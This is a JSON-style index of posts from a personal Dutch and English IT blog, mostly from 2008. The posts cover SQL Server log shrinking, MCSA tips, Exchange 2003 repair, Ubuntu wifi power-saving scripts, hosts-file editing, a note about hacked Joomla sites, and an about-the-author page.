Armin van Buuren (dutch Trance/Progressive DJ) is playing a two hour live set at digitally imported internet radio (\u003ca href=\"http://www.di.fm\"\u003ewww.di.fm\u003c/a\u003e). Here can you find all the mixes he playing at DI:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://www.zwemeister.com/\"\u003ehttp://www.zwemeister.com/\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eEnjoy :)\u003c/p\u003e","title":"Armin van Buuren livesets"},{"content":"For 2005: --\\* you can get the logical log file name usingthe following command in Query Analizer:\nexec \u0026#34;databaseName\u0026#34;.dbo.sp_helpfile Now execute the following command to shrink the database log to 200MB:\nDBCC SHRINKFILE (\u0026#34;logicalLogFileName\u0026#34;, 200) BACKUP LOG \u0026#34;databaseName\u0026#34; WITH TRUNCATE_ONLY DBCC SHRINKFILE (\u0026#34;logicalLogFileName\u0026#34;, 200) \u0026ndash;if it doesn\u0026rsquo;t work, run the two commands again.\n\u0026ndash;When done with that, do a full backup of your db as you will have broken your tlog backup chain.\nFor 2008+\nUSE databasename; GO -- Truncate the log by changing the database recovery model to SIMPLE. ALTER DATABASE databasename SET RECOVERY SIMPLE; GO -- Shrink the truncated log file to 1 MB. DBCC SHRINKFILE (2, 1); -- here 2 is the file ID for trasaction log file,you can also mention the log file name (dbname_log) GO -- Reset the database recovery model. ALTER DATABASE databasename SET RECOVERY FULL; GO ","permalink":"https://blog.wapnet.nl/2008/02/how-to-shrink-a-sql-transaction-log/","summary":"\u003cp\u003eFor 2005:\n--\\* you can get the logical log file name usingthe following command in Query Analizer:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-sql\" data-lang=\"sql\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eexec\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;databaseName\u0026#34;\u003c/span\u003e.dbo.sp_helpfile\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eNow execute the following command to shrink the database log to 200MB:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-sql\" data-lang=\"sql\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDBCC SHRINKFILE (\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;logicalLogFileName\u0026#34;\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e200\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eBACKUP LOG \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;databaseName\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eWITH\u003c/span\u003e TRUNCATE_ONLY\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDBCC SHRINKFILE (\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;logicalLogFileName\u0026#34;\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e200\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u0026ndash;if it doesn\u0026rsquo;t work, run the two commands again.\u003c/p\u003e\n\u003cp\u003e\u0026ndash;When done with that, do a full backup of your db as you will have broken your tlog backup chain.\u003c/p\u003e\n\u003cp\u003eFor 2008+\u003c/p\u003e","title":"How to shrink a SQL Transaction Log"},{"content":"Tips \u0026amp; Weetjes MCSA 2003:\n1. De PDC emulator (FSMO role) is verantwoordelijk voor de tijd sync. De handig weetje is dat je met het w32tm /config /syncfromflags:manual /manualpeerlist time_source de tijd kan syncen. 2. Voor de meest optimale werking van een Windows machine moet er minstends 5% vrije RAM zijn. Voor 512 mb komt dat dus op minstends 25.6. 3. Perfmon: Memory - Pages/Sec mag niet hoger zijn dan 5 anders is het een memory probleem 4. Perfmon: Logical Disk - Avg Disk Queue Length mag niet hoger zijn dan het aantal 2 + het aantal spindles in het systeem. Voor 1 schijf is dat dus 1 (schijf) + 2 (standaard) = 3 (max) 5. Private houdt in beveiligde verbinding in 6. WPAD = Web Proxy Auto Detect 7. 80/20 Rule voor een 192.168.1.0/24 segment houdt in: DHCP-A (80%) 192.168.1.10 192.168.1.254 Range 192.168.1.10 192.168.1.205 Excluded adresses\nDHCP-B (20%) 192.168.1.10 192.168.1.254 Range 192.168.1.206 192.168.1.254 Exclude adresses 8. Gereserveerde DHCP netwerk adressen zijn altijd met kleine letters en zonder tussenvoegsels 9. System monitor:\nHardware Status Explenation Accepting Valeus Memory : Pages/Sec pages between disk and ram 30 low Memory: Page Faults/Sec OS not found page in RAM 40 old pc´s 150 new pc´s Disk: Time Disk Avg Disk Queue Length mag niet hoger zijn dan het aantal 2 + het aantal spindles in het systeem Processor: Time greater than 85 not always a problem Processor Queue Length greater than 2 * cpu´s = too much\n","permalink":"https://blog.wapnet.nl/2008/02/mcsa-2003-70-292-tips-trics/","summary":"\u003cp\u003eTips \u0026amp; Weetjes MCSA 2003:\u003c/p\u003e\n\u003cp\u003e1. De PDC emulator (FSMO role) is verantwoordelijk voor de tijd sync. De handig weetje is dat je met het w32tm /config /syncfromflags:manual /manualpeerlist time_source de tijd kan syncen.\n2. Voor de meest optimale werking van een Windows machine moet er minstends 5% vrije RAM zijn. Voor 512 mb komt dat dus op minstends 25.6.\n3. Perfmon: Memory - Pages/Sec mag niet hoger zijn dan 5 anders is het een memory probleem\n4. Perfmon: Logical Disk - Avg Disk Queue Length mag niet hoger zijn dan het aantal 2 + het aantal spindles in het systeem. Voor 1 schijf is dat dus 1 (schijf) + 2 (standaard) = 3 (max)\n5. Private houdt in beveiligde verbinding in\n6. WPAD = Web Proxy Auto Detect\n7. 80/20 Rule voor een 192.168.1.0/24 segment houdt in:\nDHCP-A (80%)\n192.168.1.10 192.168.1.254 Range\n192.168.1.10 192.168.1.205 Excluded adresses\u003c/p\u003e","title":"MCSA 2003 70-292 Tips \u0026 Trics"},{"content":"With a good backup in hand and Exchange databases and logfiles on different hard drives, it is no problem to recover from an Exchange disaster.Just restore the data from backup and initiate a roll forward of the transaction logs. Well done, the Exchange information store goes online.\nBut what should you do when your backup isn\u0026rsquo;t readable or you don\u0026rsquo;t have a backup? Here\u0026rsquo;s how these tools come to play.\nBefore you start:\nMake sure that the databases are really not startable Check the Application log for Exchange events that can tell you the cause of the failure Make a backup of the database Restart the server so that a soft recovery can be done ESEUTIL /P parameters\nESEUTIL /p repairs a corrupted or damaged database. Ensure that you have a minimum of 20% free disc capacity in association to the Exchange database size.\nFigure 9: ESEUTIL repair modus\nExample:\nESEUTIL /P „c:\\program files\\exchsrvr\\mdbdata\\priv1.edb“ /Se:\\exchsrvr\\mdbdata\\priv1.stm /Te:\\tempdb.edb\nThis command will repair the database PRIV1.EDB. If you have no .STM file, you can create one with ESEUTIL /CREATESTM. Read more about this here.\nAfter running ESEUTIL, you can open a detailled logfile called \u0026gt;database\u0026lt;.integ.raw to see the results.\nAs a last Step run ISINTEG –fix -test alltests. You can read more about ISINTEG later in this article.\nNote: Sometimes you must run the fix over and over again till it fix all problems. Its like a defrag of a harddrive\nSource: http://www.msexchange.org/tutorials/Exchange-ISINTEG-ESEUTIL.html\n","permalink":"https://blog.wapnet.nl/2008/02/exchange-2003-disaster-recovery/","summary":"\u003cp\u003eWith a good backup in hand and Exchange databases and logfiles on different hard drives, it is no problem to recover from an Exchange disaster.Just restore the data from backup and initiate a roll forward of the transaction logs. Well done, the Exchange information store goes online.\u003c/p\u003e\n\u003cp\u003eBut what should you do when your backup isn\u0026rsquo;t readable or you don\u0026rsquo;t have a backup? Here\u0026rsquo;s how these tools come to play.\u003c/p\u003e","title":"Exchange 2003 Disaster recovery"},{"content":"I have read allot of Linux GUI programming tutorials today. But now 12:48 AM i find the following interesting youtube video :)\n","permalink":"https://blog.wapnet.nl/2008/02/programming-a-linux-gui-gtk/","summary":"\u003cp\u003eI have read allot of Linux GUI programming tutorials today. But now 12:48 AM i find the following interesting youtube video :)\u003c/p\u003e","title":"Programming a Linux GUI (GTK+)"},{"content":"Hi everyone, this is a simple Howto for owners of laptops with Intel 2200 or 3945 wifi cards. Using these commands will use laptop-mode automatically at bootup to improve your battery life. Additionnaly, there are two scripts to be added to laptop-mode so that it manages the power saving modes on the intel wifi cards. This howto assumes you already have a working wireless setup, there are other threads on getting you wifi working, please keep this thread about power management.\nTo use laptop-mode by default:\nCode:\nsudo gedit /etc/default/acpi-support Scroll down change laptop-mode to true:\nCode:\nENABLE_LAPTOP_MODE=true For some reason, laptop-mode is only started when the AC is unplugged. This might seem fine unless you bootup the laptop on the battery, in which case laptop-mode never gets started. Thus, to enable laptop-mode at boot (taken from a lost thread):\nCode:\nsudo update-rc.d laptop-mode multiuser Now that laptop-mode is started automatically, we can make sure it manages the power saving on the intel wireless cards (ipw3945 \u0026amp; iwp2200) this way.\nTo use the power management, you will need to install the wireless tools:\nCode:\nsudo apt-get install linux-restricted-modules-generic wireless-tools For both intel 3945 (ipw3945 driver) and 2200 (ipw2200 driver) cards:\nFirst, create the helper function file (taken from largecat\u0026rsquo;s post on page 2 of this thread):\nCode:\nsudo gedit /etc/acpi/intelWifiPwr.sh copy \u0026amp; paste this code in the editor, save and exit.\nCode:\n#!/bin/bash # Power saving setting for the Intel 3945 and 2200 wireless adaptor # # This script relies upon the name of the driver. I3945_DRIVERNAME=ipw3945 I2200_DRIVERNAME=ipw2200 IWPRIV=/sbin/iwpriv IWCONFIG=/sbin/iwconfig SET_I3945_AC_PARMS=\u0026#34;set_power 6\u0026#34; SET_I3945_BAT_PARMS=\u0026#34;set_power 7\u0026#34; SET_I2200_AC_PARMS=\u0026#34;power off\u0026#34; SET_I2200_BAT_PARMS=\u0026#34;power on\u0026#34; # # Find all the wireless devices using the supplied driver names. # Place the interface names on the list WIFI_IFNAMES. # function findWifiIfsByDriver { local DEVICE; local LINK_TARGET; WIFI_IFNAMES=\u0026#34;\u0026#34; for DEVICE in /sys/class/net/*; do if [ -d $DEVICE/wireless ]; then # See if the driver for $DEVICE matches the supplied one by checking the link to # the driver. if [ -h $DEVICE/device/driver ]; then LINK_TARGET=`readlink $DEVICE/device/driver | sed \u0026#39;s/.*\\///\u0026#39;` if [ $LINK_TARGET == $1 ]; then # add the interface name to the list WIFI_IFNAMES=$WIFI_IFNAMES\u0026#34; \u0026#34;`echo -n $DEVICE | sed \u0026#39;s/.*\\///\u0026#39;` fi fi fi done } # # Set all the adaptors using the supplied driver into the supplied # power saving mode # # $1 - driver name # $2 - power command # $3 - power command arguments # function setWifiPwrSave { local DEVICE; findWifiIfsByDriver $1; for DEVICE in $WIFI_IFNAMES; do #\techo \u0026#34;Would execute $2 $DEVICE $3\u0026#34; $2 $DEVICE $3 done } function intel3945_BatPwrSave { setWifiPwrSave \u0026#34;$I3945_DRIVERNAME\u0026#34; \u0026#34;$IWPRIV\u0026#34; \u0026#34;$SET_I3945_BAT_PARMS\u0026#34; } function intel3945_AcPwrSave { setWifiPwrSave \u0026#34;$I3945_DRIVERNAME\u0026#34; \u0026#34;$IWPRIV\u0026#34; \u0026#34;$SET_I3945_AC_PARMS\u0026#34; } function intel2200_BatPwrSave { setWifiPwrSave \u0026#34;$I2200_DRIVERNAME\u0026#34; \u0026#34;$IWCONFIG\u0026#34; \u0026#34;$SET_I2200_BAT_PARMS\u0026#34; } function intel2200_AcPwrSave { setWifiPwrSave \u0026#34;$I2200_DRIVERNAME\u0026#34; \u0026#34;$IWCONFIG\u0026#34; \u0026#34;$SET_I2200_AC_PARMS\u0026#34; } Then we will create 2 scripts. The first will run when the laptop is unplugged, the later when it runs on AC.\nOn battery:\nCode:\nsudo gedit /etc/laptop-mode/batt-start/20-wireless-battery.sh Then copy and paste this code into the editor, save and exit:\nCode:\n#!/bin/bash # source the helper script . /etc/acpi/intelWifiPwr.sh # set Battery power saving intel3945_BatPwrSave intel2200_BatPwrSave Make it executable:\nCode:\nsudo chmod +x /etc/laptop-mode/batt-start/20-wireless-battery.sh On AC:\nCode:\nsudo gedit /etc/laptop-mode/batt-stop/20-wireless-ac.sh Then copy and paste this code into the editor, save and exit:\nCode:\n#!/bin/bash # source the helper script . /etc/acpi/intelWifiPwr.sh # set Battery power saving intel3945_AcPwrSave intel2200_AcPwrSave Make it executable:\nCode:\nsudo chmod +x /etc/laptop-mode/batt-stop/20-wireless-ac.sh That\u0026rsquo;s it, you can give it a try by plugging and unplugging the AC and running iwconfig to verify that the Power management: on/off changes (this can take up to 15 seconds to change)\nBron: http://ubuntuforums.org/showthread.php?t=419772\n","permalink":"https://blog.wapnet.nl/2008/02/ubuntu/","summary":"\u003cp\u003eHi everyone,\nthis is a simple Howto for owners of laptops with Intel 2200 or 3945 wifi cards. Using these commands will use laptop-mode automatically at bootup to improve your battery life. Additionnaly, there are two scripts to be added to laptop-mode so that it manages the power saving modes on the intel wifi cards. This howto assumes you already have a working wireless setup, there are other threads on getting you wifi working, please keep this thread about power management.\u003c/p\u003e","title":"Ubuntu"},{"content":"Ik wil deze week de website weer online gooien. Zeker omdat alle carnavals plaatjes straks weer op de website moeten komen natuurlijk ;) Er zal dan gevraagd worden voor een gebruikersnaam en wachtwoord.\nVul dan in bij gebruikersnaam: wipneus en als wachtwoord pim\nZonder dat wachtwoord kun je straks niet meer op de site komen, totdat deze volledig is dichtgetimmerd. Wanneer dit actief is zal ik ook nog ff een mailtje sturen.\nGroetjes, Thomas\n","permalink":"https://blog.wapnet.nl/2008/01/let-op/","summary":"\u003cp\u003eIk wil deze week de website weer online gooien. Zeker omdat alle carnavals plaatjes straks weer op de website moeten komen natuurlijk ;) Er zal dan gevraagd worden voor een gebruikersnaam en wachtwoord.\u003c/p\u003e\n\u003cp\u003eVul dan in bij gebruikersnaam: \u003cstrong\u003ewipneus\u003c/strong\u003e en als wachtwoord \u003cstrong\u003epim\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eZonder dat wachtwoord kun je straks niet meer op de site komen, totdat deze volledig is dichtgetimmerd. Wanneer dit actief is zal ik ook nog ff een mailtje sturen.\u003c/p\u003e","title":"LET OP:"},{"content":"http://www.rampreizen.nl/\nPs. helemaal afkijken.\n","permalink":"https://blog.wapnet.nl/2008/01/reisje-maken/","summary":"\u003cp\u003e\u003ca href=\"http://www.rampreizen.nl/\"\u003ehttp://www.rampreizen.nl/\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003ePs. helemaal afkijken.\u003c/p\u003e","title":"Reisje maken :)"},{"content":"Jullie zullen wel denken\u0026hellip;. huh waarom is de pagina veranderd in zo\u0026rsquo;n rare blog\u0026hellip;.\nMijn collega heeft alle Joomla sites op de webserver geblokkeerd. De oorzaak hiervan is dat er op dit moment verschrikkelijk veel joomla sites gehackt worden die vervolgens allemaal andere joomla sites aanvallen. Omdat er klachten kwamen van andere joomla webhosters is de pagina per direct op non-actief gezet :(\nIk heb me ondertussen al verdiept in een oplossing. De oplossing is de rechten op de site aanpassen, de laatste versie van joomla installeren en een aantal componenten updaten of helemaal uitschakelen. Wat ik sowiezo wil doen is de pagina niet meer publiek maken. Er zal een gebruikersnaam en wachtwoord ingevoerd moeten gaan worden.\nIk vind het echt jammer dat een paar van die kl**tz*kken ons pleziertje op deze manier moeten bederven. Maar we doen er helaas helemaal niks aan\u0026hellip;\nGroetjes, Thomas\n","permalink":"https://blog.wapnet.nl/2008/01/wipneus-en-pim-spamgang/","summary":"\u003cp\u003eJullie zullen wel denken\u0026hellip;. huh waarom is de pagina veranderd in zo\u0026rsquo;n rare blog\u0026hellip;.\u003c/p\u003e\n\u003cp\u003eMijn collega heeft alle Joomla sites op de webserver geblokkeerd. De oorzaak hiervan is dat er op dit moment verschrikkelijk veel joomla sites gehackt worden die vervolgens allemaal andere joomla sites aanvallen. Omdat er klachten kwamen van andere joomla webhosters is de pagina per direct op non-actief gezet :(\u003c/p\u003e\n\u003cp\u003eIk heb me ondertussen al verdiept in een oplossing. De oplossing is de rechten op de site aanpassen, de laatste versie van joomla installeren en een aantal componenten updaten of helemaal uitschakelen. Wat ik sowiezo wil doen is de pagina niet meer publiek maken. Er zal een gebruikersnaam en wachtwoord ingevoerd moeten gaan worden.\u003c/p\u003e","title":"Wipneus en Pim Spamgang"},{"content":"Douane weert reuzenkat De douane op Schiphol heeft vorige week een reuzenkat in beslag genomen.\nHet gaat om een asherakat, die in de VS is gefokt en door een Nederlands echtpaar is geïmporteerd.\nDe Algemene Inspectie Dienst (AID) onderzoekt of de kat kenmerken van een wild dier vertoont. Als dat het geval is, is invoer verboden.\nDe asherakat is een kruising tussen een Afrikaanse serval en een Aziatische luipaardkat. Een volwassen exemplaar kan zo\u0026rsquo;n 15 kilo wegen en heeft het formaat van een forse hond.\nDe AID onderzoekt ook of alle documenten in orde zijn. De officier van justitie beslist wat er met de kat gaat gebeuren. Tot die tijd blijft het dier vastzitten op zijn opvangadres. ","permalink":"https://blog.wapnet.nl/2008/01/reuze-kat/","summary":"\u003cp\u003e\u003cstrong\u003eDouane weert reuzenkat\u003c/strong\u003e \u003cstrong\u003eDe douane op Schiphol heeft vorige week een reuzenkat in beslag genomen.\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eHet gaat om een \u003ca href=\"http://www.telegraaf.nl/binnenland/3037589/_Reuzenkat_van_27_mille__.html?pageNumber=3\"\u003easherakat\u003c/a\u003e, die in de VS is gefokt en door een Nederlands echtpaar is geïmporteerd.\u003c/p\u003e\n\u003cp\u003eDe Algemene Inspectie Dienst (AID) onderzoekt of de kat kenmerken van een wild dier vertoont. Als dat het geval is, is invoer verboden.\u003c/p\u003e\n\u003cp\u003eDe asherakat is een kruising tussen een Afrikaanse serval en een Aziatische luipaardkat. Een volwassen exemplaar kan zo\u0026rsquo;n 15 kilo wegen en heeft het formaat van een forse hond.\u003c/p\u003e","title":"Reuze kat"},{"content":":|\n","permalink":"https://blog.wapnet.nl/2008/01/7/","summary":"\u003cp\u003e:|\u003c/p\u003e","title":""},{"content":"\nCheck hier :) `\nCopyright (c) 1993-1999 Microsoft Corp. Dit is een voorbeeld HOSTS-bestand dat wordt gebruikt door Microsoft TCP/IP for Windows. Dit bestand bevat de toewijzingen van IP-adressen naar hostnamen. Elke vermelding moet op een afzonderlijke regel staan. Het IP-adres dient in de eerste kolom te worden geplaatst, gevolgd door de bijbehorende hostnaam. Het IP-adres en de hostnaam dienen gescheiden te zijn door ten minste één spatie. Daarnaast kunnen opmerkingen (zoals deze) worden toegevoegd op extra regels of gevolgd door de computernaam, voorafgegaan door een #. Bijvoorbeeld: 102.54.94.97 rhino.acme.com # bronserver 38.25.63.10 x.acme.com # x clienthost` 127.0.0.1 localhost\nVoeg de regel toe Interne IP Adres [TAB] Naam Site\n","permalink":"https://blog.wapnet.nl/2008/01/host-file-locatie/","summary":"\u003cp\u003e\u003ca href=\"/wp-content/uploads/2008/01/voorbeeld.JPG\" title=\"Locatie\"\u003e\u003cimg alt=\"Locatie\" loading=\"lazy\" src=\"/wp-content/uploads/2008/01/voorbeeld.JPG\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eCheck hier :)\n`\u003c/p\u003e\n\u003ch1 id=\"copyright-c-1993-1999-microsoft-corp\"\u003eCopyright (c) 1993-1999 Microsoft Corp.\u003c/h1\u003e\n\u003ch1\u003e\u003c/h1\u003e\n\u003ch1 id=\"dit-is-een-voorbeeld-hosts-bestand-dat-wordt-gebruikt-door-microsoft-tcpip-for-windows\"\u003eDit is een voorbeeld HOSTS-bestand dat wordt gebruikt door Microsoft TCP/IP for Windows.\u003c/h1\u003e\n\u003ch1\u003e\u003c/h1\u003e\n\u003ch1 id=\"dit-bestand-bevat-de-toewijzingen-van-ip-adressen-naar-hostnamen-elke-vermelding\"\u003eDit bestand bevat de toewijzingen van IP-adressen naar hostnamen. Elke vermelding\u003c/h1\u003e\n\u003ch1 id=\"moet-op-een-afzonderlijke-regel-staan-het-ip-adres-dient-in-de-eerste-kolom-te-worden\"\u003emoet op een afzonderlijke regel staan. Het IP-adres dient in de eerste kolom te worden\u003c/h1\u003e\n\u003ch1 id=\"geplaatst-gevolgd-door-de-bijbehorende-hostnaam-het-ip-adres-en-de-hostnaam-dienen\"\u003egeplaatst, gevolgd door de bijbehorende hostnaam. Het IP-adres en de hostnaam dienen\u003c/h1\u003e\n\u003ch1 id=\"gescheiden-te-zijn-door-ten-minste-één-spatie\"\u003egescheiden te zijn door ten minste één spatie.\u003c/h1\u003e\n\u003ch1\u003e\u003c/h1\u003e\n\u003ch1 id=\"daarnaast-kunnen-opmerkingen-zoals-deze-worden-toegevoegd-op-extra\"\u003eDaarnaast kunnen opmerkingen (zoals deze) worden toegevoegd op extra\u003c/h1\u003e\n\u003ch1 id=\"regels-of-gevolgd-door-de-computernaam-voorafgegaan-door-een-\"\u003eregels of gevolgd door de computernaam, voorafgegaan door een #.\u003c/h1\u003e\n\u003ch1\u003e\u003c/h1\u003e\n\u003ch1 id=\"bijvoorbeeld\"\u003eBijvoorbeeld:\u003c/h1\u003e\n\u003ch1\u003e\u003c/h1\u003e\n\u003ch1 id=\"102549497-----rhinoacmecom-----------bronserver\"\u003e102.54.94.97     rhino.acme.com          # bronserver\u003c/h1\u003e\n\u003ch1 id=\"38256310-----xacmecom---------------x-clienthost\"\u003e38.25.63.10     x.acme.com              # x clienthost`\u003c/h1\u003e\n\u003cp\u003e127.0.0.1 localhost\u003c/p\u003e","title":"Host file locatie"},{"content":"Welcome to WordPress. This is your first post. Edit or delete it, then start blogging!\n","permalink":"https://blog.wapnet.nl/2008/01/hello-world/","summary":"\u003cp\u003eWelcome to WordPress. This is your first post. Edit or delete it, then start blogging!\u003c/p\u003e","title":"Hello world!"},{"content":"Thomas Faddegon (firstname @ domain for contact):\nMy Interests:\nMy sons, daughter \u0026amp; wife, our cat, security, gaming, movies/series, drum \u0026rsquo;n bass music, lifehacking \u0026amp; tech, tech, t3ch :D :D\nIf you like my work and you want to give something in return. Please buy me a beer :)\n🍺 Buy me a beer via PayPal My Specializations (outdated version - for a more recent version check my linkedin):\nVMWare vSphere, Lefthand Storage, Windows Terminalserver and Software troubleshooting.\nMy knowledge:\nOperating Systems:\nOSX\nUbuntu/Debian/Centos\nWindows (since 3.11) and Windows server (since NT4.0)\nServer Hardware:\nHP\nScripting:\nBatch, VBS, Powershell and Jmeter\nCMS:\nSharepoint, Joomla, Dotnetnuke and Wordpress\nVirtualisation:\nVMware Vsphere, Microsoft Hyper-V and VIrtualBox\nStorage:\nHP MSA (DAS en SAN) and HP Lefthand (iSCSI)\nDatabase:\nMSSQL and MySQL\nWebservers:\nIIS and Apache\nDNS:\nPowerDNS and MS DNS\nMessaging:\nPostfix, Exchange, OCS/Lync\nFirewall:\nCisco PIX/ASA and ISA\nSecurity:\nBacktrack/Kali, Metasploit, Forefront, Antigen, Trend Micro IWSVA and Trend Micro Officescan\nTelephone OS:\nSymbian, Andrioid and iOS\n","permalink":"https://blog.wapnet.nl/about/","summary":"\u003cp\u003e\u003cem\u003e\u003cstrong\u003eThomas Faddegon (firstname @ domain for contact):\u003c/strong\u003e\u003c/em\u003e\u003c/p\u003e\n\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2025/01/1000014312.jpg\"/\u003e \n\u003c/figure\u003e\n\n\u003cp\u003e\u003cem\u003e\u003cstrong\u003eMy Interests:\u003c/strong\u003e\u003c/em\u003e\u003cbr\u003e\nMy sons, daughter \u0026amp; wife, our cat, security, gaming, movies/series, drum \u0026rsquo;n bass music, lifehacking \u0026amp; tech, tech, t3ch  :D :D\u003c/p\u003e\n\u003cp\u003eIf you like my work and you want to give something in return. Please buy me a beer :)\u003c/p\u003e\n\u003cp class=\"paypal-donation\"\u003e\n  \u003ca href=\"https://www.paypal.com/paypalme/l0g0ffpay\" rel=\"noopener\" target=\"_blank\"\u003e🍺 Buy me a beer via PayPal\u003c/a\u003e\n\u003c/p\u003e\n\n\u003cp\u003e\u003cem\u003e\u003cstrong\u003eMy Specializations (outdated version - for a more recent version check my \u003ca href=\"https://www.linkedin.com/in/thomas-faddegon-25170227\"\u003elinkedin\u003c/a\u003e):\u003c/strong\u003e\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003eVMWare vSphere, Lefthand Storage, Windows Terminalserver and Software troubleshooting.\u003c/p\u003e","title":"About the author"}]